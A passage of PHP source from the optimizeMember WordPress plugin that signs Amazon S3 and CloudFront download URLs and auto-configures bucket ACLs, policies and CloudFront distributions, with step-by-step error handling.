				* Creates an Amazon S3 HMAC-SHA1 signature.
				*
				* @package optimizeMember\Files
				* @since 110524RC
				*
				* @param str $string Input string/data, to be signed by this routine.
				* @return str An HMAC-SHA1 signature for Amazon S3.
				*/
				public static function amazon_s3_sign($string = FALSE)
					{
						$s3c["secret_key"] = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_s3_files_secret_key"];
						/**/
						return c_ws_plugin__optimizemember_utils_strings::hmac_sha1_sign((string)$string, $s3c["secret_key"]);
					}
				/**
				* Creates an Amazon S3 HMAC-SHA1 signature URL.
				*
				* @package optimizeMember\Files
				* @since 110926
				*
				* @param str $file Input file path, to be signed by this routine.
				* @param bool $stream Is this resource file to be served as streaming media?
				* @param bool $inline Is this resource file to be served inline, or no?
				* @param bool $ssl Is this resource file to be served via SSL, or no?
				* @param str $basename The absolute basename of the resource file.
				* @param str $mimetype The MIME content-type of the resource file.
				* @return str An HMAC-SHA1 signature URL for Amazon S3.
				*/
				public static function amazon_s3_url($file = FALSE, $stream = FALSE, $inline = FALSE, $ssl = FALSE, $basename = FALSE, $mimetype = FALSE)
					{
						$file = /* Trim / force string. */ trim((string)$file, "/");
						$url_e_file = c_ws_plugin__optimizemember_utils_strings::urldecode_ur_chars_deep(urlencode($file));
						/**/
						foreach($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"] as $option => $option_value)
							if(preg_match("/^amazon_s3_files_/", $option) && ($option = preg_replace("/^amazon_s3_files_/", "", $option)))
								$s3c[$option] = $option_value;
						/**/
						$s3c["expires"] = strtotime("+".apply_filters("ws_plugin__optimizemember_amazon_s3_file_expires_time", "24 hours", get_defined_vars()));
						/**/
						$s3_file = add_query_arg(c_ws_plugin__optimizemember_utils_strings::urldecode_ur_chars_deep(urlencode_deep(array("response-cache-control" => ($s3_cache_control = "no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0"), "response-content-disposition" => ($s3_content_disposition = (((bool)$inline) ? "inline" : "attachment").'; filename="'.(string)$basename.'"'), "response-content-type" => ($s3_content_type = (string)$mimetype), "response-expires" => ($s3_expires = gmdate("D, d M Y H:i:s", strtotime("-1 week"))." GMT")))), "/".$url_e_file);
						$s3_raw_file = add_query_arg(array("response-cache-control" => $s3_cache_control, "response-content-disposition" => $s3_content_disposition, "response-content-type" => $s3_content_type, "response-expires" => $s3_expires), "/".$url_e_file);
						$s3_signature = base64_encode(c_ws_plugin__optimizemember_files_in::amazon_s3_sign("GET\n\n\n".$s3c["expires"]."\n"."/".$s3c["bucket"].$s3_raw_file));
						/**/
						$s3_url = ((strtolower($s3c["bucket"]) !== $s3c["bucket"])) ? "http".(($ssl) ? "s" : "")."://s3.amazonaws.com/".$s3c["bucket"].$s3_file : "http".(($ssl) ? "s" : "")."://".$s3c["bucket"].".s3.amazonaws.com".$s3_file;
						/**/
						return add_query_arg(c_ws_plugin__optimizemember_utils_strings::urldecode_ur_chars_deep (urlencode_deep(array("AWSAccessKeyId" => $s3c["access_key"], "Expires" => $s3c["expires"], "Signature" => $s3_signature))), $s3_url);
					}
				/**
				* Auto-configures an Amazon S3 Bucket's ACLs.
				*
				* @package optimizeMember\Files
				* @since 110926
				*
				* @return array Array containing a true `success` element on success, else a failure array.
				* 	Failure array will contain a failure `code`, and a failure `message`.
				*/
				public static function amazon_s3_auto_configure_acls()
					{
						foreach($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"] as $option => $option_value)
							if(preg_match("/^amazon_s3_files_/", $option) && ($option = preg_replace("/^amazon_s3_files_/", "", $option)))
								$s3c[$option] = $option_value;
						/**/
						$cfc["distros_s3_access_id"] = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_cf_files_distros_s3_access_id"];
						/**/
						if /* Must have Amazon S3 Bucket/Keys. */($s3c["bucket"] && $s3c["access_key"] && $s3c["secret_key"])
							{
								$s3_date = gmdate("D, d M Y H:i:s")." GMT";
								$s3_location = ((strtolower($s3c["bucket"]) !== $s3c["bucket"])) ? "/".$s3c["bucket"]."/?acl" : "/?acl";
								$s3_domain = ((strtolower($s3c["bucket"]) !== $s3c["bucket"])) ? "s3.amazonaws.com" : $s3c["bucket"].".s3.amazonaws.com";
								$s3_signature = base64_encode(c_ws_plugin__optimizemember_files_in::amazon_s3_sign("GET\n\n\n".$s3_date."\n/".$s3c["bucket"]."/?acl"));
								$s3_args = array("method" => "GET", "redirection" => 0, "headers" => array("Host" => $s3_domain, "Date" => $s3_date, "Authorization" => "AWS ".$s3c["access_key"].":".$s3_signature));
								/**/
								if(($s3_response = c_ws_plugin__optimizemember_utils_urls::remote("https://".$s3_domain.$s3_location, false, array_merge($s3_args, array("timeout" => 20)), "array")) && $s3_response["code"] === 200)
									{
										if(preg_match("/\<Owner\>(.+?)\<\/Owner\>/is", $s3_response["body"], $s3_owner_tag) && preg_match("/\<ID\>(.+?)\<\/ID\>/is", $s3_owner_tag[1], $s3_owner_id_tag) && (preg_match("/\<DisplayName\>(.*?)\<\/DisplayName\>/is", $s3_owner_tag[1], $s3_owner_display_name_tag) || ($s3_owner_display_name_tag = array("-", "Owner"))))
											{
												$s3_owner = array("access_id" => trim($s3_owner_id_tag[1]), "display_name" => trim($s3_owner_display_name_tag[1]));
												$s3_acls_xml = '<AccessControlPolicy><Owner><ID>'.esc_html($s3_owner["access_id"]).'</ID><DisplayName>'.esc_html($s3_owner["display_name"]).'</DisplayName></Owner><AccessControlList><Grant><Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="CanonicalUser"><ID>'.esc_html($s3_owner["access_id"]).'</ID><DisplayName>'.esc_html($s3_owner["display_name"]).'</DisplayName></Grantee><Permission>FULL_CONTROL</Permission></Grant>'.(($cfc["distros_s3_access_id"]) ? '<Grant><Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="CanonicalUser"><ID>'.esc_html($cfc["distros_s3_access_id"]).'</ID><DisplayName>optimizeMember/CloudFront</DisplayName></Grantee><Permission>READ</Permission></Grant>' : '').'</AccessControlList></AccessControlPolicy>';
												$s3_signature = base64_encode(c_ws_plugin__optimizemember_files_in::amazon_s3_sign("PUT\n\napplication/xml\n".$s3_date."\n/".$s3c["bucket"]."/?acl"));
												$s3_args = array("method" => "PUT", "redirection" => 0, "body" => $s3_acls_xml, "headers" => array("Host" => $s3_domain, "Content-Type" => "application/xml", "Date" => $s3_date, "Authorization" => "AWS ".$s3c["access_key"].":".$s3_signature));
												/**/
												if(($s3_response = c_ws_plugin__optimizemember_utils_urls::remote("https://".$s3_domain.$s3_location, false, array_merge($s3_args, array("timeout" => 20)), "array")) && $s3_response["code"] === 200)
													{
														$s3_location = ((strtolower($s3c["bucket"]) !== $s3c["bucket"])) ? "/".$s3c["bucket"]."/?policy" : "/?policy";
														($s3_policy_id = md5(uniqid("optimizeMember/CloudFront:", true))).($s3_policy_sid = md5(uniqid("optimizeMember/CloudFront:", true)));
														$s3_policy_json = '{"Version":"2008-10-17","Id":"'.c_ws_plugin__optimizemember_utils_strings::esc_dq($s3_policy_id).'","Statement":[{"Sid":"'.c_ws_plugin__optimizemember_utils_strings::esc_dq($s3_policy_sid).'","Effect":"Allow","Principal":{"CanonicalUser":"'.c_ws_plugin__optimizemember_utils_strings::esc_dq($cfc["distros_s3_access_id"]).'"},"Action":"s3:GetObject","Resource":"arn:aws:s3:::'.c_ws_plugin__optimizemember_utils_strings::esc_dq($s3c["bucket"]).'/*"}]}';
														$s3_signature = base64_encode(c_ws_plugin__optimizemember_files_in::amazon_s3_sign("PUT\n\napplication/json\n".$s3_date."\n/".$s3c["bucket"]."/?policy"));
														$s3_args = array("method" => "PUT", "redirection" => 0, "body" => $s3_policy_json, "headers" => array("Host" => $s3_domain, "Content-Type" => "application/json", "Date" => $s3_date, "Authorization" => "AWS ".$s3c["access_key"].":".$s3_signature));
														/**/
														if(!$cfc["distros_s3_access_id"] || (($s3_response = c_ws_plugin__optimizemember_utils_urls::remote("https://".$s3_domain.$s3_location, false, array_merge($s3_args, array("timeout" => 20)), "array")) && ($s3_response["code"] === 200 || $s3_response["code"] === 204 /* Also OK. */)))
															{
																$s3_location = ((strtolower($s3c["bucket"]) !== $s3c["bucket"])) ? "/".$s3c["bucket"]."/crossdomain.xml" : "/crossdomain.xml";
																$s3_policy_xml = trim(c_ws_plugin__optimizemember_utilities::evl(file_get_contents(dirname(dirname(__FILE__))."/templates/cfg-files/s2-cross-xml.php")));
																$s3_signature = base64_encode(c_ws_plugin__optimizemember_files_in::amazon_s3_sign("PUT\n\ntext/xml\n".$s3_date."\nx-amz-acl:public-read\n/".$s3c["bucket"]."/crossdomain.xml"));
																$s3_args = array("method" => "PUT", "redirection" => 0, "body" => $s3_policy_xml, "headers" => array("Host" => $s3_domain, "Content-Type" => "text/xml", "Date" => $s3_date, "X-Amz-Acl" => "public-read", "Authorization" => "AWS ".$s3c["access_key"].":".$s3_signature));
																/**/
																if(($s3_response = c_ws_plugin__optimizemember_utils_urls::remote("https://".$s3_domain.$s3_location, false, array_merge($s3_args, array("timeout" => 20)), "array")) && $s3_response["code"] === 200)
																	return /* Successfully configured Amazon S3 Bucket ACLs and Policy. */ array("success" => true, "code" => null, "message" => null);
																/**/
																else if(isset($s3_response["code"], $s3_response["message"]))
																	/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon S3 API call. Feel free to exclude `%s` if you like. */
																	return array("success" => false, "code" => $s3_response["code"], "message" => sprintf(_x("Unable to update existing Amazon S3 Cross-Domain Policy. %s", "s2member-admin", "s2member"), $s3_response["message"]));
																/**/
																else /* Else, we use a default error code and message. */
																	return array("success" => false, "code" => -94, "message" => _x("Unable to update existing Amazon S3 Cross-Domain Policy. Connection failed.", "s2member-admin", "s2member"));
															}
														else if(isset($s3_response["code"], $s3_response["message"]))
															/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon S3 API call. Feel free to exclude `%s` if you like. */
															return array("success" => false, "code" => $s3_response["code"], "message" => sprintf(_x("Unable to update existing Amazon S3 Bucket Policy. %s", "s2member-admin", "s2member"), $s3_response["message"]));
														/**/
														else /* Else, we use a default error code and message. */
															return array("success" => false, "code" => -95, "message" => _x("Unable to update existing Amazon S3 Bucket Policy. Connection failed.", "s2member-admin", "s2member"));
													}
												else if(isset($s3_response["code"], $s3_response["message"]))
													/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon S3 API call. Feel free to exclude `%s` if you like. */
													return array("success" => false, "code" => $s3_response["code"], "message" => sprintf(_x("Unable to update existing Amazon S3 Bucket ACLs. %s", "s2member-admin", "s2member"), $s3_response["message"]));
												/**/
												else /* Else, we use a default error code and message. */
													return array("success" => false, "code" => -96, "message" => _x("Unable to update existing Amazon S3 Bucket ACLs. Connection failed.", "s2member-admin", "s2member"));
											}
										else /* Else, we use a default error code and message. */
											return array("success" => false, "code" => -97, "message" => _x("Unable to acquire/read existing Amazon S3 Bucket ACLs. Unexpected response.", "s2member-admin", "s2member"));
									}
								else if(isset($s3_response["code"], $s3_response["message"]))
									/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon S3 API call. Feel free to exclude `%s` if you like. */
									return array("success" => false, "code" => $s3_response["code"], "message" => sprintf(_x("Unable to acquire existing Amazon S3 Bucket ACLs. %s", "s2member-admin", "s2member"), $s3_response["message"]));
								/**/
								else /* Else, we use a default error code and message. */
									return array("success" => false, "code" => -98, "message" => _x("Unable to acquire existing Amazon S3 Bucket ACLs. Connection failed.", "s2member-admin", "s2member"));
							}
						else /* Else, we use a default error code and message. */
							return array("success" => false, "code" => -99, "message" => _x("Unable to auto-configure existing Amazon S3 Bucket ACLs. Incomplete Amazon S3 configuration options. Missing one of: Amazon S3 Bucket, Access Key, or Secret Key.", "s2member-admin", "s2member"));
					}
				/**
				* Creates an Amazon CloudFront HMAC-SHA1 signature.
				*
				* @package optimizeMember\Files
				* @since 110926
				*
				* @param str $string Input string/data, to be signed by this routine.
				* @return str An HMAC-SHA1 signature for Amazon CloudFront.
				*/
				public static function amazon_cf_sign($string = FALSE)
					{
						$cfc["secret_key"] = $s3c["secret_key"] = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_s3_files_secret_key"];
						/**/
						return c_ws_plugin__optimizemember_utils_strings::hmac_sha1_sign((string)$string, ($cfc["secret_key"] = $s3c["secret_key"]));
					}
				/**
				* Creates an Amazon CloudFront RSA-SHA1 signature.
				*
				* @package optimizeMember\Files
				* @since 110926
				*
				* @param str $string Input string/data, to be signed by this routine.
				* @return str|bool An RSA-SHA1 signature for Amazon CloudFront, else false on failure.
				*
				* @todo Double underscores *( i.e. base64 padding chars )* in the signature seem to cause issues for Amazon CloudFront?
				* 	See ticket: {@link https://forums.aws.amazon.com/thread.jspa?messageID=286182&#286182}
				*/
				public static function amazon_cf_rsa_sign($string = FALSE)
					{
						$cfc["private_key"] = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_cf_files_private_key"];
						/**/
						return c_ws_plugin__optimizemember_utils_strings::rsa_sha1_sign((string)$string, $cfc["private_key"]);
					}
				/**
				* Creates an Amazon CloudFront RSA-SHA1 signature URL.
				*
				* @package optimizeMember\Files
				* @since 110926
				*
				* @param str $file Input file path, to be signed by this routine.
				* @param bool $stream Is this resource file to be served as streaming media?
				* @param bool $inline Is this resource file to be served inline, or no?
				* @param bool $ssl Is this resource file to be served via SSL, or no?
				* @param str $basename The absolute basename of the resource file.
				* @param str $mimetype The MIME content-type of the resource file.
				* @return str An RSA-SHA1 signature URL for Amazon CloudFront.
				*/
				public static function amazon_cf_url($file = FALSE, $stream = FALSE, $inline = FALSE, $ssl = FALSE, $basename = FALSE, $mimetype = FALSE)
					{
						$file = /* Trim / force string. */ trim((string)$file, "/");
						$url_e_file = c_ws_plugin__optimizemember_utils_strings::urldecode_ur_chars_deep(urlencode($file));
						/**/
						foreach($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"] as $option => $option_value)
							if(preg_match("/^amazon_cf_files_/", $option) && ($option = preg_replace("/^amazon_cf_files_/", "", $option)))
								$cfc[$option] = $option_value;
						/**/
						$cfc["expires"] = strtotime("+".apply_filters("ws_plugin__optimizemember_amazon_cf_file_expires_time", "24 hours", get_defined_vars()));
						/**/
						$cf_extn = /* Parses the file extension out so we can scan it in some special scenarios. */ strtolower(substr($file, strrpos($file, ".") + 1));
						$cf_ip_res = /* Do NOT restrict access to a particular IP during `localhost` development. The IP may NOT be the same one Amazon CloudFront sees. */ (c_ws_plugin__optimizemember_utils_conds::is_localhost()) ? false : true;
						$cf_stream_extn_resource_exclusions = array_unique((array)apply_filters("ws_plugin__optimizemember_amazon_cf_file_streaming_extension_resource_exclusions", array("mp3" /* MP3 files should NOT include an extension in their resource reference. */), get_defined_vars()));
						$cf_resource = ($stream) ? ((in_array($cf_extn, $cf_stream_extn_resource_exclusions)) ? substr($file, 0, strrpos($file, ".")) : $file) : "http".(($ssl) ? "s" : "")."://".(($cfc["distro_downloads_cname"]) ? $cfc["distro_downloads_cname"] : $cfc["distro_downloads_dname"])."/".$url_e_file;
						$cf_url = ($stream) ? "rtmp".(($ssl) ? "e" : "")."://".(($cfc["distro_streaming_cname"]) ? $cfc["distro_streaming_cname"] : $cfc["distro_streaming_dname"])."/cfx/st/".$file : "http".(($ssl) ? "s" : "")."://".(($cfc["distro_downloads_cname"]) ? $cfc["distro_downloads_cname"] : $cfc["distro_downloads_dname"])."/".$url_e_file;
						$cf_policy = '{"Statement":[{"Resource":"'.c_ws_plugin__optimizemember_utils_strings::esc_dq($cf_resource).'","Condition":{'.(($cf_ip_res) ? '"IpAddress":{"AWS:SourceIp":"'.c_ws_plugin__optimizemember_utils_strings::esc_dq($_SERVER["REMOTE_ADDR"]).'/32"},' : '').'"DateLessThan":{"AWS:EpochTime":'.(int)$cfc["expires"].'}}}]}';
						/**/
						$cf_signature = c_ws_plugin__optimizemember_files_in::amazon_cf_rsa_sign($cf_policy);
						$cf_base64_url_safe_policy = c_ws_plugin__optimizemember_utils_strings::base64_url_safe_encode($cf_policy, array("+", "=", "/"), array("-", "_", "~"), false);
						$cf_base64_url_safe_signature = c_ws_plugin__optimizemember_utils_strings::base64_url_safe_encode($cf_signature, array("+", "=", "/"), array("-", "_", "~"), false);
						/**/
						return add_query_arg(c_ws_plugin__optimizemember_utils_strings::urldecode_ur_chars_deep(urlencode_deep(array("Policy" => $cf_base64_url_safe_policy, "Signature" => $cf_base64_url_safe_signature, "Key-Pair-Id" => $cfc["private_key_id"]))), $cf_url);
					}
				/**
				* Auto-configures Amazon S3/CloudFront distros.
				*
				* @package optimizeMember\Files
				* @since 110926
				*
				* @return array Array containing a true `success` element on success, else a failure array.
				* 	Failure array will contain a failure `code`, and a failure `message`.
				*/
				public static function amazon_cf_auto_configure_distros()
					{
						foreach($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"] as $option => $option_value)
							if(preg_match("/^amazon_cf_files_/", $option) && ($option = preg_replace("/^amazon_cf_files_/", "", $option)))
								$cfc[$option] = $option_value;
						/**/
						$s3c["bucket"] = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_s3_files_bucket"];
						$cfc["access_key"] = $s3c["access_key"] = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_s3_files_access_key"];
						$cfc["secret_key"] = $s3c["secret_key"] = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_s3_files_secret_key"];
						/**/
						if /* We MUST have an Amazon S3 Bucket and Keys. */($s3c["bucket"] && $s3c["access_key"] && $s3c["secret_key"])
							{
								if /* We MUST have Amazon CloudFront Keys in order to auto-configure. */($cfc["private_key"] && $cfc["private_key_id"])
									{
										if(!$cfc["distro_downloads_id"] || ($cfc["distro_downloads_id"] && ($cf_get_response = c_ws_plugin__optimizemember_files_in::amazon_cf_get_distro($cfc["distro_downloads_id"], "downloads")) && ($cf_get_response["success"] || $cf_get_response["code"] === 404)))
											{
												if(!$cfc["distro_downloads_id"] || ($cfc["distro_downloads_id"] && $cf_get_response && !$cf_get_response["success"] && $cf_get_response["code"] === 404))
													$cf_distro_downloads_clear = /* Clear, ready for a new one. */ true;
												/**/
												else if($cfc["distro_downloads_id"] && $cf_get_response && $cf_get_response["success"] && !$cf_get_response["deployed"])
													return array("success" => false, "code" => -86, "message" => _x("Unable to delete existing Amazon CloudFront Downloads Distro. Still in a `pending` state. Please wait 15 minutes, then try again. There is a certain process that optimizeMember must strictly adhere to when re-configuring your Amazon CloudFront Distros. You may have to tick the auto-configure checkbox again, and re-run optimizeMember's auto-configuration routine many times, because optimizeMember will likely run into several `pending` challenges, as it works to completely re-configure your Amazon CloudFront Distros for you. Thanks for your patience. Please wait 15 minutes, then try again.", "s2member-admin", "s2member"));
												/**/
												else if($cfc["distro_downloads_id"] && $cf_get_response && $cf_get_response["success"] && $cf_get_response["deployed"] && ($cf_del_response = c_ws_plugin__optimizemember_files_in::amazon_cf_del_distro($cfc["distro_downloads_id"], $cf_get_response["etag"], $cf_get_response["xml"])) && $cf_del_response["success"])
													$cf_distro_downloads_clear = /* Clear, ready for a new one. */ true;
												/**/
												else if(isset($cf_del_response["code"], $cf_del_response["message"]))
													/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon CloudFront API call. Feel free to exclude `%s` if you like. */
													return array("success" => false, "code" => $cf_del_response["code"], "message" => sprintf(_x("Unable to delete existing Amazon CloudFront Downloads Distro. %s", "s2member-admin", "s2member"), $cf_del_response["message"]));
												/**/
												if /* Successfully cleared? Ready for a new one? */(isset($cf_distro_downloads_clear) && $cf_distro_downloads_clear)
													{
														unset /* Unset these before processing additional routines. Prevents problems in error reporting. */($cf_get_response, $cf_del_response);
														/**/
														if(!$cfc["distro_streaming_id"] || ($cfc["distro_streaming_id"] && ($cf_get_response = c_ws_plugin__optimizemember_files_in::amazon_cf_get_distro($cfc["distro_streaming_id"], "streaming")) && ($cf_get_response["success"] || $cf_get_response["code"] === 404)))
															{
																if(!$cfc["distro_streaming_id"] || ($cfc["distro_streaming_id"] && $cf_get_response && !$cf_get_response["success"] && $cf_get_response["code"] === 404))
																	$cf_distro_streaming_clear = /* Clear, ready for a new one. */ true;
																/**/
																else if($cfc["distro_streaming_id"] && $cf_get_response && $cf_get_response["success"] && !$cf_get_response["deployed"])
																	return array("success" => false, "code" => -87, "message" => _x("Unable to delete existing Amazon CloudFront Streaming Distro. Still in a `pending` state. Please wait 15 minutes, then try again. There is a certain process that optimizeMember must strictly adhere to when re-configuring your Amazon CloudFront Distros. You may have to tick the auto-configure checkbox again, and re-run optimizeMember's auto-configuration routine many times, because optimizeMember will likely run into several `pending` challenges, as it works to completely re-configure your Amazon CloudFront Distros for you. Thanks for your patience. Please wait 15 minutes, then try again.", "s2member-admin", "s2member"));
																/**/
																else if($cfc["distro_streaming_id"] && $cf_get_response && $cf_get_response["success"] && $cf_get_response["deployed"] && ($cf_del_response = c_ws_plugin__optimizemember_files_in::amazon_cf_del_distro($cfc["distro_streaming_id"], $cf_get_response["etag"], $cf_get_response["xml"])) && $cf_del_response["success"])
																	$cf_distro_streaming_clear = /* Clear, ready for a new one. */ true;
																/**/
																else if(isset($cf_del_response["code"], $cf_del_response["message"]))
																	/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon CloudFront API call. Feel free to exclude `%s` if you like. */
																	return array("success" => false, "code" => $cf_del_response["code"], "message" => sprintf(_x("Unable to delete existing Amazon CloudFront Streaming Distro. %s", "s2member-admin", "s2member"), $cf_del_response["message"]));
																/**/
																if /* Successfully cleared? Ready for a new one? */(isset($cf_distro_streaming_clear) && $cf_distro_streaming_clear)
																	{
																		unset /* Unset these before processing additional routines. Prevents problems in error reporting. */($cf_get_response, $cf_del_response);
																		/**/
																		if(!$cfc["distros_access_id"] || ($cfc["distros_access_id"] && ($cf_get_response = c_ws_plugin__optimizemember_files_in::amazon_cf_get_access_origin_identity($cfc["distros_access_id"])) && ($cf_get_response["success"] || $cf_get_response["code"] === 404)))
																			{
																				if(!$cfc["distros_access_id"] || ($cfc["distros_access_id"] && $cf_get_response && !$cf_get_response["success"] && $cf_get_response["code"] === 404))
																					$cf_distros_access_clear = /* Clear, ready for a new one. */ true;
																				/**/
																				else if($cfc["distros_access_id"] && $cf_get_response && $cf_get_response["success"] && ($cf_del_response = c_ws_plugin__optimizemember_files_in::amazon_cf_del_access_origin_identity($cfc["distros_access_id"], $cf_get_response["etag"], $cf_get_response["xml"])) && $cf_del_response["success"])
																					$cf_distros_access_clear = /* Clear, ready for a new one. */ true;
																				/**/
																				else if(isset($cf_del_response["code"], $cf_del_response["message"]))
																					/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon CloudFront API call. Feel free to exclude `%s` if you like. */
																					return array("success" => false, "code" => $cf_del_response["code"], "message" => sprintf(_x("Unable to delete existing Amazon CloudFront Origin Access Identity. %s", "s2member-admin", "s2member"), $cf_del_response["message"]));
																				/**/
																				if /* Successfully cleared? Ready for a new one? */(isset($cf_distros_access_clear) && $cf_distros_access_clear)
																					{
																						unset /* Unset these before processing additional routines. Prevents problems in error reporting. */($cf_get_response, $cf_del_response);
																						/**/
																						$cfc = array_merge($cfc, array("distros_access_id" => "", "distros_s3_access_id" => "", "distro_downloads_id" => "", "distro_downloads_dname" => "", "distro_streaming_id" => "", "distro_streaming_dname" => "", "distros_auto_config_status" => ""));
																						$cf_options = array("ws_plugin__optimizemember_amazon_cf_files_distros_access_id" => "", "ws_plugin__optimizemember_amazon_cf_files_distros_s3_access_id" => "", "ws_plugin__optimizemember_amazon_cf_files_distro_downloads_id" => "", "ws_plugin__optimizemember_amazon_cf_files_distro_downloads_dname" => "", "ws_plugin__optimizemember_amazon_cf_files_distro_streaming_id" => "", "ws_plugin__optimizemember_amazon_cf_files_distro_streaming_dname" => "", "ws_plugin__optimizemember_amazon_cf_files_distros_auto_config_status" => "");
																						c_ws_plugin__optimizemember_menu_pages::update_all_options($cf_options, true, false, false, false, false);
																						/**/
																						if(($cf_response = c_ws_plugin__optimizemember_files_in::amazon_cf_create_distros_access_origin_identity()) && $cf_response["success"])
																							{
																								$cfc = array_merge($cfc, array("distros_access_id" => $cf_response["distros_access_id"], "distros_s3_access_id" => $cf_response["distros_s3_access_id"]));
																								$cf_options = array("ws_plugin__optimizemember_amazon_cf_files_distros_access_id" => $cf_response["distros_access_id"], "ws_plugin__optimizemember_amazon_cf_files_distros_s3_access_id" => $cf_response["distros_s3_access_id"]);
																								c_ws_plugin__optimizemember_menu_pages::update_all_options($cf_options, true, false, false, false, false);
																								/**/
																								if(($cf_response = c_ws_plugin__optimizemember_files_in::amazon_cf_create_distro("downloads")) && $cf_response["success"])
																									{
																										$cfc = array_merge($cfc, array("distro_downloads_id" => $cf_response["distro_downloads_id"], "distro_downloads_dname" => $cf_response["distro_downloads_dname"]));
																										$cf_options = array("ws_plugin__optimizemember_amazon_cf_files_distro_downloads_id" => $cf_response["distro_downloads_id"], "ws_plugin__optimizemember_amazon_cf_files_distro_downloads_dname" => $cf_response["distro_downloads_dname"]);
																										c_ws_plugin__optimizemember_menu_pages::update_all_options($cf_options, true, false, false, false, false);
																										/**/
																										if(($cf_response = c_ws_plugin__optimizemember_files_in::amazon_cf_create_distro("streaming")) && $cf_response["success"])
																											{
																												$cfc = array_merge($cfc, array("distro_streaming_id" => $cf_response["distro_streaming_id"], "distro_streaming_dname" => $cf_response["distro_streaming_dname"]));
																												$cf_options = array("ws_plugin__optimizemember_amazon_cf_files_distro_streaming_id" => $cf_response["distro_streaming_id"], "ws_plugin__optimizemember_amazon_cf_files_distro_streaming_dname" => $cf_response["distro_streaming_dname"]);
																												c_ws_plugin__optimizemember_menu_pages::update_all_options($cf_options, true, false, false, false, false);
																												/**/
																												for($a = 1, $attempts = 4, $sleep = 2, sleep($sleep); $a <= $attempts; $a++, (($a <= $attempts) ? sleep($sleep) : null))
																													/* Allow a generous propagation time here. Amazon's high-availability services do NOT guarantee real-time updates.
																														Since we DO need a fully propagated Origin Access Identity now, we need to make several attempts at success.
																														For further details, please see this thread: <https://forums.aws.amazon.com/message.jspa?messageID=42875>. */
																													if(($s3_response = c_ws_plugin__optimizemember_files_in::amazon_s3_auto_configure_acls()) && $s3_response["success"])
																														{
																															$cfc = array_merge($cfc, array("distros_auto_config_status" => "configured"));
																															$cf_options = array("ws_plugin__optimizemember_amazon_cf_files_distros_auto_config_status" => "configured");
																															c_ws_plugin__optimizemember_menu_pages::update_all_options( /* Now configured! */$cf_options, true, false, false, false, false);
																															return /* Successfully configured Amazon S3/CloudFront distros. */ array("success" => true, "code" => null, "message" => null);
																														}
																												if(isset($s3_response["code"], $s3_response["message"]))
																													/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon S3 API call. Feel free to exclude `%s` if you like. */
																													return array("success" => false, "code" => $s3_response["code"], "message" => sprintf(_x("Unable to update existing Amazon S3 ACLs. %s", "s2member-admin", "s2member"), $s3_response["message"]));
																												/**/
																												else /* Else, we use a default error code and message. */
																													return array("success" => false, "code" => -88, "message" => _x("Unable to update existing Amazon S3 ACLs. Connection failed.", "s2member-admin", "s2member"));
																											}
																										else if(isset($cf_response["code"], $cf_response["message"]))
																											/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon CloudFront API call. Feel free to exclude `%s` if you like. */
																											return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Unable to create Amazon CloudFront Streaming Distro. %s", "s2member-admin", "s2member"), $cf_response["message"]));
																										/**/
																										else /* Else, we use a default error code and message. */
																											return array("success" => false, "code" => -89, "message" => _x("Unable to create Amazon CloudFront Streaming Distro. Connection failed.", "s2member-admin", "s2member"));
																									}
																								else if(isset($cf_response["code"], $cf_response["message"]))
																									/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon CloudFront API call. Feel free to exclude `%s` if you like. */
																									return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Unable to create Amazon CloudFront Downloads Distro. %s", "s2member-admin", "s2member"), $cf_response["message"]));
																								/**/
																								else /* Else, we use a default error code and message. */
																									return array("success" => false, "code" => -90, "message" => _x("Unable to create Amazon CloudFront Downloads Distro. Connection failed.", "s2member-admin", "s2member"));
																							}
																						else if(isset($cf_response["code"], $cf_response["message"]))
																							/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon CloudFront API call. Feel free to exclude `%s` if you like. */
																							return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Unable to create Amazon CloudFront Origin Access Identity. %s", "s2member-admin", "s2member"), $cf_response["message"]));
																						/**/
																						else /* Else, we use a default error code and message. */
																							return array("success" => false, "code" => -91, "message" => _x("Unable to create Amazon CloudFront Origin Access Identity. Connection failed.", "s2member-admin", "s2member"));
																					}
																				else /* Else, we use a default error code and message. */
																					return array("success" => false, "code" => -92, "message" => _x("Unable to clear existing Amazon CloudFront Origin Access Identity.", "s2member-admin", "s2member"));
																			}
																		else if(isset($cf_get_response["code"], $cf_get_response["message"]))
																			/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon CloudFront API call. Feel free to exclude `%s` if you like. */
																			return array("success" => false, "code" => $cf_get_response["code"], "message" => sprintf(_x("Unable to acquire existing Amazon CloudFront Origin Access Identity. %s", "s2member-admin", "s2member"), $cf_get_response["message"]));
																		/**/
																		else /* Else, we use a default error code and message. */
																			return array("success" => false, "code" => -93, "message" => _x("Unable to acquire existing Amazon CloudFront Origin Access Identity. Connection failed.", "s2member-admin", "s2member"));
																	}
																else /* Else, we use a default error code and message. */
																	return array("success" => false, "code" => -94, "message" => _x("Unable to clear existing Amazon CloudFront Streaming Distro.", "s2member-admin", "s2member"));
															}
														else if(isset($cf_get_response["code"], $cf_get_response["message"]))
